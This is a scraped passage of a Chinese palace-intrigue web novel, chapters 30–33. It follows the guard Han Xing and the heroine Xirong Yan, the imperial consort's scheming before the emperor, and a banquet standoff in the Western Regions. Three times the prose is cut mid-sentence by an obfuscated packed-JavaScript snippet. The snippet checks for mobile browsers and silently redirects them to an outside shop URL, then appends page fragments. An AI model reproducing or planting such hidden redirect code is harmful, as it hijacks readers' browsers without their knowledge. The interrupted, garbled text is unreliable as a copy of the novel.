许是香料的缘故,寒星的脑海中不可抑制地浮现出红翠馆的一幕幕,他的吻越发炽热,纷纷扬扬地砸向她的雪颈、酥肩。他吻得那样用力,几近疯狂,以至于席容烟不自觉“诶呀”一声,伸手想要推开他,可她哪里能推得动,寒星的身体里仿佛有一团无名之火在燃烧着,而她的抗拒又为这火添了一把干柴。 席容烟此刻真的慌了神,她用尽全身力气,勉强捧住寒星的脸,强迫他注视着自己的眼睛,一字一句道,“寒星,我爱你,我愿意做你的妻子,但不是在此时此刻,不是在我寄人篱下,你又意乱情迷的时候,你,懂吗。” 寒星停下手中动作,深吸了一口气,将头埋在她的颈侧,滚烫的气息在她的耳后游走,他的声音低沉沙哑,掺着揉碎了的温柔,“阿烟,我们离开这里好不好。” 席容烟拍了拍他的背,哄着,“好。” 寒星把头埋得更深了些,“我们现在就离开这里,好不好?” 席容烟默不作声,良久,她终于开口,声音中透着几丝寒凉,“我们身上都中着黄昏雨的毒,离开这里,我们还能去哪儿?还能活多久?” 她的话像是一盆冰水从天而降,一下就浇灭了他心中的那团火。寒星嘴角抽了抽,终于放开了她,向后退了两步,口中呢喃道,“是啊,我们还能活多久。” 席容烟见他清醒了些,不觉松了一口气,低头整理自己的衣衫,寒星歉然地笑笑,一点也没有避嫌的意思,蹲下身子,帮她扯平裙角的褶皱。 席容烟抢过裙角,毫不客气地嘲讽道,“还说什么心冷身冷,百毒不侵,说得那样厉害,还不是被这香迷了心智。” 寒星听闻,笑盈盈地抬头看她,眸中的炽热早已散去,取而代之的是化不开的温柔缱绻,“阿烟,令我如此失态的不是香,而是你。” 席容烟的脸上再度泛起潮红,她别过脸去,“谁要信你的鬼话。” 寒星只是笑笑,这类催情的香料,他在红翠馆执行任务时已经闻过不下百种,哪次不是功成身退,偏偏是这次,偏偏是席容烟。他心里如同明镜一般,可却又不敢与她争辩,他能说自己在红翠馆如何如何吗,那样肮脏龌龊的地方,他希望她一辈子都不会踏足。 寒星捡起方才丢在地上的披风,动作轻柔地为她披好,“是我不好,阿烟,我向你发誓,以后再也不会了。” 席容烟白他一眼,却也没再多说什么,轻轻推开门,顺着缝隙往外看了一眼,回头说道,“外面现在很安全,你可以离开了。” 寒星点点头,刚要出去,忽又停了下来,问道,“今夜的事,若是主公追问起来,我们应该如何应答?” 席容烟思量道,“无论怎么说,你今夜都是为他做事,而我救你,也算保全了他,保全了宰相府,他纵然猜忌,也不能在这件事上深究,寒了其他暗卫的心。你这段时间小心些,别让他抓住旁的错处,也就是了。” “那你呢?” “我是要嫁给太子的人,他还指望我刺杀太子呢,怎么可能真的处置我。” 寒星还要说时,席容烟已经往外推他,“趁着这会子没人,还不快走,万一他们再杀个回马枪,就全都完了。” 寒星只得依着她,刚出了房门,便见桃夭正守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502738|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在门口,寒星不觉有些尴尬,桃夭的神色倒是十分自然,“寒将军。” 寒星胡乱点点头,“你一直守在这里吗?” 桃夭只说,“老爷方才已将太子殿下一行人送走,想来应是无事了,院子里的婆子丫鬟,我都让他们回房歇着去了,将军只管放心。” 寒星其实想问,她可曾听到方才屋内的动静,话到嘴边,又不知道该如何提起。 寒星的六觉原是相当灵敏的,方圆一里之内,别说一个大活人,就是一只小飞虫,他也知晓的一清二楚,只是方才情到深处,竟都浑忘了,桃夭虽然不算外人,可这样的事,若是被她听了去,还是多少有些难堪的。 他只好安慰自己,事已至此,多说无益,好在桃夭是自己人,知道了也没有什么,他又回头看了一眼虚掩着的房门,随即迈着大步离开,不过片刻功夫便消失在夜色中了。 此时虽已入夏,却因连日下了几场大雨,夜里的风还是湿冷冷,寒浸浸的。 寒星经过甬道的时候,冷风直直地倒灌进他的衣袖,他的伤口又开始疼了。 他眯起眼,回忆着顺天客栈的那场激战,嘴角闪过一丝狠戾。 他牢记着席容炎的嘱咐,并不想和太子带来的人再起冲突,偏袁青那小子难缠的很,一连几剑,好似夺命一般,刺得又快又狠,若是不是他躲闪及时,只怕右臂已经被他齐齐斩下。 想到这里,寒星用手狠狠攥着臂上伤口,看着那里不断渗出鲜血,冷哼一声,“袁青,别让我再遇上你,否则,我一定叫你求生不得,求死不能。” 乍然间,沉寂的甬道好似刮过了一道冽风,呼呼作响。 寒星眸光一凛,向四周扫视一圈,提剑大喝道,“滚出来。” 寒木大笑一声,从屋顶一跃而下,“哪个不知死活的惹到你了?” 寒星看见是他,耸了耸肩,道,“魏晗烨身边的一个侍卫,叫什么袁青的。” 寒木瞥了一眼他正流着血的胳膊,不觉有些诧异,“能把你伤成这样,看起来不好对付。” 寒星面有愠色,“这个时辰,你不在暗卫营待着,跑到这里干嘛?” 寒木扬了扬手里的药瓶,“看你一夜未归,怕你死在外头。” 他一边说着,一边上前撸起寒星的衣袖,看见伤口处已经细细包扎过了,不觉哑然失笑,“看来是我多此一举了,你这是遇上哪个红颜知己了呀。” 寒星懒得理他,抽回手来,“给你闲的,以后我的任务都给你做,省的你乱嚼舌根。” 寒木嘿嘿一笑,拽着他道,“脸红什么,快跟我说说。” “还能有谁。”寒星说着,冲烟雨阁的方向扬了扬脸。 寒木愣了一下,表情突然严肃了起来,“依我说,那个女人,你还是别沾染的好。” “为何?” “主公喜欢她,你不会看不出来吧。” 寒星不以为然,“那又如何,主公不还是打算把她送进东宫吗。” 寒木摇摇头,“主公前些日子从红翠馆带了一个女的回来,这可是主公第一次带人回府,要说她有多美也不见得,只是鼻子眼睛与烟雨阁的那位有些相似,可见啊,主公心里头还是放不下她。兄弟,你我性命都攥在主公手里,这种事,还是小心为好。” 寒星眯眼,冷笑道,“红翠馆?我怎么没听说,红翠馆几时出了这样一号人物?” “你这么个清心寡欲的性子,哪里会关心红翠馆新来了什么姑娘。我跟你说,那小娘们上个月就在里头跳舞了,哎哟哟,前凸后翘,身段儿可是一等一的好。” 寒星不想听他再说下去,胡乱应了几声,就扯着他往回走,“困了,回去睡觉。” 寒木正意犹未尽地砸吧嘴,被他扯得一个踉跄,只好跟着他一道回去了。 31. 情爱姗然迟 仪鸾宫。 紫藤和李义一边一个守在门口,外头一个小太监火急火燎地跑上前来,在李义耳旁低声说了几句。 李义闻言,神色微变,他看了一眼紧闭的殿门,一时也拿不定主意,只得低声吩咐道,“皇上还没醒呢,叫他们都先候着,等皇上醒了再回。” 紫藤见那小太监行色匆匆,像是出了什么了不得的大事,开口打听道,“李公公,敢问这是出什么事了?” 李义敷衍道,“不过是有些朝政需要处理罢了。” 紫藤笑了笑,把声音压得更低了些,“皇上不是将朝政都交给太子殿下了吗,还有什么十万火急的事儿,值得他们一大早巴巴儿地往这里赶,公公好歹给咱们透个话儿。” 李义缄口不语,紫藤再接再厉。 “李公公,我听底下的小丫鬟议论,说是昨儿顺天客栈出事儿了,死了一个西域客商,太子殿下带人追去了宰相府,还在宰相府大闹了一场,公公可知,这究竟是怎么一回事儿?” 李义神色如常,看不出一丝波澜起伏,淡淡道,“这些事儿奴才也不好乱讲,况且紫藤姑娘身在后宫,怎好打听前朝之事,便是为着你们娘娘,说话也该小心些才是。” 紫藤往他跟前挪了两步,笑道,“这不是在您老人家跟前吗,我也没什么好避讳的。我们娘娘一直都把公公当自家人看待,这公公也是知道的。” 李义看也不看她一眼,“多谢皇贵妃娘娘抬爱,只是我们这些做奴才的,委实受不起,只能辜负娘娘的美意了。” 紫藤讨了个没趣,又不敢随便出言得罪他,只能怏怏站了回去。 四四方方的天空一角,隐隐浮出一抹极浅极淡的鱼肚白。 宫里头的一切总是迟钝了些,无论是蚀骨的情,还是磨人的爱。 正如此刻,外头已然大亮,而在数不清的叠叠宫墙之内,仍是一半黑夜,一半黎明。 屋内传来了悉悉索索的声音,席容皇贵妃简单收拾了一下自己,半跪在床上为魏帝更衣。她灵活的手指攀上了他黄袍的纽扣。 她本就生得娇俏,又是花儿一样的年纪,此刻素面朝天,含露而开,未及梳起的青丝就那样散在肩头,像是一团浸了香的云朵,在他的身下悠然飘荡。 魏帝皱着眉,认真地说,“琰儿,你勾的朕好痒。” 席容皇贵妃抬眼看见他一本正经的模样,信以为真,“陛下哪里痒,臣妾给您挠挠。” 魏帝抿唇不语,只是拉着她的手,一寸寸上移,“心,你勾得朕心痒难耐。” 席容皇贵妃扑哧一声笑了出来,伸手揽住他的脖颈,整个人顺势挂在他的身上,良久,她的声音中忽而带了一丝感伤,“陛下都好几日没来了,臣妾还以为您厌弃这里了。” 魏帝捧起她的脸,她的眼角挂了一颗晶莹剔透的泪珠,顺着未施粉黛的脸颊簌簌滑落。他的眼底闪过一丝心疼,伸手将她环住,用拇指轻轻抹去那道泪痕,嗔道,“胡说什么。” 席容皇贵妃仰起头,委屈巴巴地反问,“臣妾说错了吗,陛下的确许多日不曾来了。” “琰儿,朕是天子,朕除了是你的夫,还是这天下的王,你要明白,更要体谅。” 席容皇贵妃低低啜泣了两声,“臣妾明白,臣妾就在这里等着陛下,好不好。” 魏帝笑了笑,说好,他伸手揉了揉她的乱发,吩咐一旁的兰鸢,“还不快给你家主子梳头,一会儿叫底下人瞧见了,什么意思。” 兰鸢忙应了一声“是”,过来服侍席容皇贵妃洗漱,她扶起席容皇贵妃的一瞬,余光却稳稳地落在了魏帝身上。 席容皇贵妃见状,微一蹙眉。 魏帝不曾留意这些,早已转身出了内室,唤了李义进来。 因为魏帝昨晚宿在了仪鸾宫,打了魏皇后的脸面,席容皇贵妃的心情还算不错,她轻轻哼唱起一首江南小调,紫藤见她高兴,悄悄将方才的事回禀了。 席容皇贵妃听了,脸上的笑容一点点淡去,她沉思半晌,从腕上褪下一个金镯子,吩咐紫藤,“去找杨顺,无论如何,一定要给本宫问出个究竟来。” 她扫了眼门口,压低了声音,“告诉杨顺,旁的都不要紧,最要紧的是探出皇上的心意。” 紫藤接了镯子揣在怀里,“娘娘稍安勿躁,奴婢去去就来。” 出了这样的事儿,席容皇贵妃心中烦闷,她扯着手中的帕子,盯着铜镜看了好一会儿,忽然开口道,“兰苑,你头上的这只簪子瞧着十分别致,不像是宫中匠人的手法,本宫也不记得从前赏过你。” 兰鸢神色有些慌张,急忙解释道,“上次,奴婢替娘娘出宫办事,因着时辰还早,就在外头的银楼随便逛了逛,瞧见这支银簪上头的鸢尾纹饰暗合了奴婢的名字,一时心动,买了回来。这簪子虽不值什么钱,奴婢却喜欢得打紧,要是娘娘不悦,奴婢摘了就是。” 席容皇贵妃似笑非笑,“你戴着好看,又何必摘下来呢,况且只是个银簪,也不算十分逾矩,本宫不过问问,你慌什么。” 兰鸢不敢答言,额角悄没声的落下两滴冷汗,她恭恭敬敬地服侍席容皇贵妃穿好衣服,便扶着她往正殿走。 魏帝正和李义说着话,李义见她来了,便住了口,恭恭敬敬地退到一旁。 魏帝笑着向她伸出了一只手,席容皇贵妃搭着魏帝的手,笑道,“臣妾吩咐她们备好了早膳,陛下用了再走,可好?” “好,你先坐下,朕有件事同你商量。” “陛下请讲。” “昨夜,顺天客栈发生了一起人命案。” 魏帝说到这里顿了顿,挑眉观察着席容皇贵妃的神色,过了一会儿,见她没什么反应,方又接着说道,“这件事情,皇贵妃认为应该如何处置?” 席容皇贵妃强作镇定,可心里早已慌了神,此刻听见魏帝问她,身子一僵,以为东窗事发,手不自觉抽了回来,她稳了稳心神,顺势跪了下去,“后宫不得干政,臣妾不敢妄言。” “无妨,朕许你说。” “敢问陛下,凶手如今何在?” 魏帝的眸色沉了沉,缓缓道,“凶手尚未归案,这也正是朕头疼的地方。” “臣妾 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魏帝凝视着她,面上虽然挂着笑,眼底却藏着怀疑与试探,“这么说来,倒是朕的错了,也对,你一个深宫妇人知道什么,朕要问也应该去问宰相才是。” 席容皇贵妃打定主意,一下子站了起来,魏帝也不知是怎么想的,居然伸手拉了她一把。 席容皇贵妃握着魏帝的手,整个人依偎在他的怀里,莞尔笑道,“后宫不得干政,臣妾不管这些,也不想管这些,只一件,陛下要问,也得陪臣妾用了早膳再问,陛下,你可都答应臣妾了,陛下一言九鼎,可不能轻易食言啊。” 她的眼中没有一丝慌乱,魏帝望着她,选择了相信。 又或许,他没有选择。 如果他真的想要查个究竟,完全可以将紫藤带走。 毕竟,听李义刚才的回话,仪鸾宫同宰相府往来十分密切,昨晚的消息一大早便传到了紫藤的耳朵里,这可是宫中的大忌。 可他没有,他选择亲口来问她,他知道,自己希望她与此事无关,所以无论她说什么,他都会选择相信。 他从前以为,做局的人是自己,可不知道从什么时候起,他也身入局中。 他想,她毕竟只是个女人,能掀起多大的风浪,有些事,睁一只眼闭一只眼也就罢了。 他笑呵呵拉她起来,“哈哈哈,不食言,朕陪你就是。” 可在触及她掌心的一瞬,他忽又疑惑起来,“你的手怎么这么凉。” 席容皇贵妃低垂着脸,捶他道,“你还好意思问,昨个折腾了一夜,觉也不曾好生睡得,晨起只觉得浑身乏力,手不凉就怪了。” 魏帝怔了怔,随即笑道,“哈哈,是朕不好,朕许多日不曾见你,一时情动,难以自持,为表歉意,朕抱你去用膳。” 他的手覆上她细软的腰肢,将她揽入怀中,忽又想起了什么,回头吩咐道,“李义,一会儿去找些补气血的东西送来,记住,要最名贵的那种。” 席容皇贵妃将头枕在他的肩上,嘴角轻轻柔柔地逸开一抹浅笑,恰到好处地遮住她错杂繁乱的心绪。 殿内的人都识趣地低下了头,默默为他们让开了一条路。 32. 今夕何夕兮 第二日,席容烟醒来的时候已经日上三竿。 她倚着枕头,出了一会子神,睡眼惺忪的摸了鞋子穿上,抬眼瞧见窗外那轮高悬的红日,这才意识到自己起晚了,连忙唤道,“桃夭,桃夭,什么时辰了。” 桃夭捧着一杯水过来,笑道,“巳时了,姑娘好睡。” “已经这个时辰了吗?”席容烟揉了揉自己的太阳穴,“我头脑昏胀得很,昨儿这一觉睡得可真不安稳。” 说着,她不由得掩面打了个哈欠,“好困啊……” 桃夭见状劝道,“姑娘要是没睡好,就再睡一会儿吧。” “这如何使得,若让旁人听见了,指不定怎么议论我呢,这府里的人哪一个是好相与的。”席容烟急匆匆抿了口水,便命,“快梳妆,我今日还没去给父亲母亲请安呢。” 桃夭脸上露出为难的神色,“姑娘今日不用去请安了。”她顿了顿,又补充说,“不光今日,老爷命人传话,说是从今往后,直到姑娘出嫁,都不必再去前头请安了。” “为何?”席容烟低头思忖,疑惑道,“难不成是因为我今日贪睡,惹了父亲母亲生气,故意撂下这些反话?” “不,不是,是老爷担心姑娘身子弱,不想再让姑娘出门。” “我何曾身子弱成这个样子?” 桃夭不答言,只是摇头使眼色,急得席容烟不住地摇她,“你说话呀,到底是怎么了?!” “行己有耻,动静有法,姑娘的规矩都学到哪里去了?!” 忽听一个尖细的声音从桃夭的身后响起,席容烟放开桃夭,站起身来审度着来人。 那人不过二十来岁的光景,瞧着也是丫鬟模样,身上穿得却比平常丫鬟好上许多。 水蛇腰,柳叶眉,行动间带过一缕香风。 “你是何人?” 来人扬了扬脖,“夫人听说了昨夜的事,心中很是不安,担心你再做出什么有辱门风的事情,嘱咐我过来看顾姑娘,顺带管理烟雨阁一干事宜。” 席容烟冷笑一声,语气中带了些不耐烦,“我在问,你是谁?” “我叫知书,是夫人派过来伺候姑娘的。” “这名字听起来像个老学究,我不喜欢。这样吧,我赐你一个名字,就叫敛秋,如何?” 来人拧着眉毛,不满道,“姑娘这是什么意思,我的名字岂能随意更改?” “这话倒奇了,你才说,你是夫人派过来做什么的?” “是过来伺候姑娘的。” “这就对了,你是来做丫鬟的,不是来当主子的,难道一个丫鬟的名字,我还改不得了?” 来人一脸不服,“可是,我的名字原都是夫人给起的,姑娘如今要改我的名字,我自然不敢说什么,可姑娘又把夫人的脸面搁在哪里呢?” 席容烟把她从头到脚打量了一遍,“你既说起了母亲的脸面,我倒要问问你,你方才和我说话,可曾认真和我行过礼,问过安,你一个小小奴婢,满口你呀我呀,又把母亲的脸面搁在哪里,把我烟雨阁的脸面搁在哪里?!” 来人闻言,皱眉勉强行了一礼,“奴婢敛秋,见过姑娘。” 席容烟微笑着点了点头,“很好,我这会子要出去走走,桃夭跟我一起,敛秋你就留在房中,熟悉熟悉环境,再把屋里好好打扫一下,去一去这不知从哪里来的一股子霉味。” “姑娘要出去?这只怕不行。” “怎么?你要拦我吗?” 敛秋嘴角上扬,神情颇为得意,“奴婢不敢,只是老爷夫人一大早吩咐下来,不许姑娘迈出烟雨阁一步,姑娘若是不信,自己出去看看就知道了。” 席容烟怔愣了一下,不可思议地看向桃夭,桃夭点了点头,脸色很是难看。 “无妨,去院子里逛逛也是一样的,桃夭,我们走。” 说罢,席容烟推开了门,桃夭小跑着跟了上去,劝道,“姑娘别生气。” “究竟是怎么一回事?你细细说给我听。” “昨儿夜里发生了那种事,我实在是睡不着觉,就干睁着眼等天亮。”桃夭瞧了眼四周,轻声说,“寒将军走之后,约莫有一个时辰吧,我想起午后晒的花茶忘了收,就起来去收拾,正好听见外头嘈嘈杂杂的人声,我听着不对劲,推开院门,刚准备瞧上一瞧,一个人就凶神恶煞的把我推了进来,嘴里还骂骂咧咧的埋怨咱们害得他睡不成觉。” “你瞧着都是些什么人?” “说不准,像是府里的侍卫,又比侍卫凶些。欸,姑娘,你说他们会不会是寒将军手下的暗卫呀?” 席容烟摇头,“父亲对寒星一直心存猜忌,不可能用他手下的人,我听说府内设有私狱,估计是那边拨过来的人手。” “若是私狱的人倒说得通了,难怪他们脾气那么差,一个个都凶得很。” “敛秋呢,她也是跟着他们一道过来的?” “不是的,昨天夜里并没有她,她是今天早上才过来的,一进门就颐指气使,我们也不知道她是什么来头,都不敢吭声,刚刚姑娘斥责了她,我在旁边看着可真是解气。” “这么说,敛秋应该是母亲派过来的,父亲那边并不知情。” “姑娘方才那样数落她,就不怕得罪了夫人吗?” “哼,得罪?你真以为,母亲有多喜欢她吗?” 桃夭不解,“姑娘这是何意?” “母亲喜欢底下的人都规规矩矩的,所以她房里的丫鬟打扮一向素净,可这个丫头呢,生得好就不说了,穿的戴的偏也往狐媚上靠,母亲能喜欢她就怪了,她指不定是和哪位少爷勾搭在一处,被母亲瞧见了,随便挑个由头撵了出来。” “原来如此,我说姑娘平日那么谨慎的人,怎么就突然和夫人派来的人顶撞起来了呢。” 桃夭捻起青石凳上头的一叶枯黄,又用帕子仔细擦了擦凳上的水渍,扶着席容烟坐下,“敛秋留在这里,终究是个隐患,姑娘预备怎么做?” 席容烟苦笑,“我能怎么做?平时留神提防着她,也就是了。我只是奇怪,敛秋除了模样出众,看起来并没有什么旁的本事,母亲派她过来,除了给我添堵,还能起什么作用?” 桃夭笑道,“或许模样出众,就是她的本事吧。” 席容烟心中一动,“派个小丫头看着她,别让她生事。” “姑娘觉得四儿怎么样?” “可知道她的底细吗?” “知道,她原不是这府里的家生奴才,和我一样,都是打小从外头买来就跟着姑娘的。她行事爽利,人也机灵,姑娘尽可放心。” “四儿?这个名字倒有趣。我记得你最开始叫三儿,难不成你们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502740|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲姐妹?” “哪有这样巧的事儿,我仔细问过她,她因在家里排行老四,才有了这个名字。而我的名字是当初人牙子给起的,为的是好称呼。” “有趣有趣,你带她过来给我瞧瞧。” 桃夭应声去了,不多时就带了一个瘦瘦小小的女孩子过来。因为瘦削的缘故,她的一双眼睛看起来格外的大,里头亮晶晶的,十分有神。 席容烟温和道,“四儿,你可愿跟着我进宫吗?” 四儿嗓音脆亮,“奴婢愿意跟着姑娘,刀山火海,在所不辞。” 桃夭扑哧一声笑了出来,“哪有你说的那么危险。” 席容烟也笑道,“你且放心,你若跟着我,我定会护你周全。没人的时候不必一口一个奴婢,我不讲究这些,只要你忠心就够了。” 四儿闻言,一下子跪在了地上,重重磕了一个响头,“四儿从今往后就是姑娘的人了,一切但凭姑娘吩咐。” 席容烟心中欢喜,伸手拉她起来,“你以后跟着我,有什么不懂的问你桃夭姐姐就是。” 桃夭道,“对了,敛秋的住处还没有着落,不如就让她和四儿住在一块吧。” 席容烟点点头,“四儿,你替我好好看着敛秋,如果她有什么异动,你就来告诉桃夭,或者直接找我也行,可都听明白了?” “奴婢都听明白了,姑娘放心。” “好,那你先回去收拾东西吧。” “是,奴婢告退。” 桃夭看着她离开的身影,忽然有些担忧,“姑娘,你说四儿能行吗,我怎么有点不放心呢。我看敛秋可不是什么善茬,又扯着夫人的大旗,哪里是四儿一个小丫鬟能对付的了的?” 席容烟叹了口气,“她若没有这个本事,我要她也无用,索性借着这个机会,试她一试。” 桃夭无奈,“也只好如此了,不过,姑娘嫁入东宫,按规矩只能有两个陪嫁丫头,我是一定要跟着姑娘去的,另一个人,只怕老爷夫人一定会派一个心腹跟着,不是敛秋,也会是别人,姑娘还要早做打算才是。” 席容烟扶额,“我知道了,罢了,左右我也出不去,桃夭,你扶我再回去睡一觉吧。” 桃夭偷笑,“我刚才怎么和姑娘说的来着,姑娘刚才不还要强得很吗。” “好啊,你个烂了嘴的小蹄子,我正一肚子火气没地方撒呢,偏生你还来招我。” 席容烟说着,便伸手去挠桃夭的痒痒,桃夭笑岔了气,一面躲,一面告饶道,“好姑娘,饶了我吧,我不说就是了。” 席容烟这才罢手,桃夭扶她进去,点了一支甜梦香,才要放下帘幔,忽听她说,“桃夭。” “怎么了,姑娘?” “你说,寒星不会有事吧。” 桃夭一愣,“寒将军?他能有什么事?姑娘还是多担心担心自己吧。” 席容烟微微摇头,“他的日子比我难过多了,我尚且如此,还不知道父亲会如何对他。” “姑娘你现在连烟雨阁都出不去,想这些也没有用,好在寒将军武功高强,寻常人定是奈何不了他的,姑娘且放宽心吧。” “是啊,但愿他没事。” “姑娘快睡吧,别多想了,好好睡一觉,养养精神,等醒了,就好了。” 席容烟“嗯”了一声,阖眼睡去。 33. 胡旋翩翩舞 西域。 几名胡旋舞女白纱遮面,赤着脚在花毡上旋转,她们脚踝上的银铃随着舞姿变换,泠泠作响。 在篝火的映衬之下,女子们身上的赤色披帛逸散开来,将宾客的眸光尽数笼入袖中。 异香扑鼻,沁人心脾,鼓点飞溅,摄人魂魄,惹得在场之人无不称赞。 “好!好!” 西域可汗一面大声叫好,一面伸手拽住一个舞女的衣袖,一把将她揽入怀中,“美人儿,给本汗斟酒。” 舞女笑着从他怀里爬起,斟了一大碗酒,姿态虔诚地匍伏在地上,将碗高高捧过头顶,恭敬道,“请大汗饮。” 可汗垂脚倚坐,身子前倾,他用中指轻轻挑起她的下巴,神色玩味地看了一阵,又向后仰倒在了胡床上,吩咐道,“你喂给我喝,用嘴。” 舞女闻言,小心翼翼地含了一口酒,半跪在胡床一侧喂他饮酒。软糯的唇瓣混合着诱人的酒香,源源不断的流入他的口中,他舔着唇角溢出的美酒,心情愉悦,指着下首一人笑道,“你,去伺候那个人饮酒。” 舞女跪着爬下胡床,走到肃安王跟前,才要斟酒,却听“且慢”二字。 她看着肃安王,怔了片刻,眼波中流转出几丝娇媚,“王爷这是嫌弃奴家嘛~” 肃安王并不理她,只向西域可汗拱了拱手,“可汗的美意,本王心领了,只是本王向来喜欢自斟自饮,就不劳烦别人了。” “哈哈,看来王爷在这儿呆了数日,还是没呆习惯呀,是不是本汗什么地方招待不周,让王爷不高兴了。” 肃安王笑道,“可汗这里酒美,人更美,本王住得很舒服,还要多谢可汗的盛情款待。只是已经许多日了,本王还是没有见到小妹,这可是可汗一开始就应了的,可汗不会变卦吧。” “欸,王爷别着急呀,平乐阏氏身子孱弱,前几天又染上了风寒,所以一时不好见客,王爷何不多住几日,等阏氏痊愈了再好好叙一叙你们的兄妹之情。” “可汗有所不知,本王此次乃是奉旨而来,如若连日不归,只怕,父皇会以为本王这边出了什么变故,到时候大军压境,岂不是伤了彼此之间的和气。” 可汗斜睨着眼,大笑道,“肃安王名声在外,如雷贯耳,大魏皇帝实在是多虑了,如此牵肠挂肚,不像是一方君王,倒像是小家子里的白发老翁了。” 使臣孟甘清了清嗓子,正色道,“可汗此言不妥,西域既已向我大魏称臣,就应对天子称敬语,如此比方,成何体统。” “哦?” 可汗直起身子打量着孟甘,他脸上的笑意一点点变淡,眼中直直射出一道精光,像是猛兽捕食时才会露出的那种神情,好一阵才又笑道,“嘿嘿,本汗今日还真是受教了。” 他举起酒碗,一饮而净,口中嚷道,“好酒!” 他像是有些醉了,把碗往桌子上一摔,身子向后仰了仰,换了个舒服的姿势躺着。 西域勇士巴吐尔向上头看了一眼,朗声道,“我们大汗醉了,我替他再敬肃安王一碗,就以此酒,祝愿大魏与西域永结兄弟之好。” 肃安王微笑着说道,“西域与大魏动辄兵戎相见,谈何兄弟呢。” “欸,四海皆兄弟,谁为行路人,我们今日能够坐在一处,这不就是兄弟吗。” “阁下对中原文化颇为精通,可曾来过我们大魏吗?” “哈哈,皮毛而已。”巴吐尔笑笑,语气也温柔了许多,“我很年轻的时候去过一次,就是那个时候认识了我女人。” 肃安王点点头,端起酒碗,道,“这么说阁下也算是半个大魏人,幸会。” “久仰王爷大名,幸会!” 底下的歌舞还在继续,舞女们的裙摆折旋,一圈圈地甩向天际,鼓点震震,衣袂翩翩,她们或跃或卧,或动或静,时而像草原上驰骋的骏马,时而又像戈壁边无波的镜湖。 忽地,大片的赤色披帛中杀出一道银光,那光直奔孟甘而去,最后在他额头前一公分的位置停住。 孟甘喉咙一紧,下意识的转头看向一旁的肃安王。 肃安王神色悠闲,只用两指掐住刃尖,另一只手仍托着方才的酒碗,他浅浅啜了一口,抬眼道,“这把匕首的柄鞘皆为纯金打造,似乎是可汗的东西。” 孟甘气得打颤,“可汗这是想要我的命啊!” 肃安王掂了掂匕首的分量,十分随意地向空中一抛,“可汗,你的东西,收好了。” 舞女们早已乱作一团,你推我搡的争相逃离,生怕做了刀下亡魂。随着一声脆响,匕首刃尖朝下,稳稳的插在了可汗面前的酒碗里。随着咔嚓一声,酒水四溅。 可汗的身后忽然涌出了一大批人,这些人手持大刀,一步步走上前来,将肃安王一行人团团围住。 肃安王撂下酒碗,看向可汗,“敢问可汗,这是何意?” 西域可汗稳稳地端坐在胡床之上,扫视一圈,面有不豫之色,“你们吓着本汗的客人了,还不赶快退下。” 这些人面面相觑,将刀背在身后,纷纷向后退了几步。 可汗讪笑两声,“一个玩笑而已,王爷不要当真。” 孟甘愤愤道,“可汗不觉得这个玩笑有点过火吗?” “那你想要怎样?” 孟甘看向肃安王,见他默不作声,一时也不知应该如何作答。 巴吐尔笑着打圆场,“咍,都是我不好,我之前和大汗打赌来着,赌王爷是否真如传说中那般武艺超群,今日可算是开了眼了。来来来,我自罚一碗。” 说着,他便亲自倒了一大碗的酒,一饮而尽。 肃安王看了一眼巴吐尔,又看了一眼西域可汗,轻轻一笑,“无妨,天色已晚,我们就先回去了。”他走了几步,又想起了什么,回身说道,“可汗,别忘记了我们的约定。” “王爷放心,等平乐阏氏大愈了,我第一时间派人通知你。” “我和平乐本是兄妹,不拘这些个小节。七日之后,如若见到了固伦公主,本王便回京复命,如若见不到——” 可汗眯起眼睛,“如何?” 肃安王大步走上前去,他走一步,围着的人就后退一步。他走到可汗跟前,这才住了脚,弯腰捡起地上散落的碎瓷片,若有所思道,“如若见不到,可汗就不要怪罪本王了。” 可汗咬了咬牙,“好,那就七日之后,本汗携平乐阏氏为王爷践行!” 肃安王扔了瓷片,微微颔首,“一言为定。” “王爷,那可汗分明是对大魏不敬,你为何——” “我为何不与他殊死搏斗,最好血溅当场,以捍卫大魏尊严?” 孟甘垂下头,“臣,不是这个意思。” “孟大夫勇气可嘉,不过,我们此行最要紧的是见到平乐,其他的事都可以先放一放。” “微臣明白了。” 时已入秋,西北的风裹挟着大漠的沙,呼啸而来,冷冽刮骨。 肃安王用袖子挡在眼前,却不小心撞在了一人身上,“抱歉。” 来人并不生气,反而伸手勾住他的脖颈,湿热的气息在他的耳畔游走,“王爷,是我,还请借一步说话。” 肃安王抬眼瞧见来人,语气不觉冷了几分,“你是方才过来敬酒的舞女?你能有什么事,赶紧给本王闪开。” 舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502741|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女看出他脸上的嫌恶之色,不觉泪花点点,“王爷真的不记得我了?” 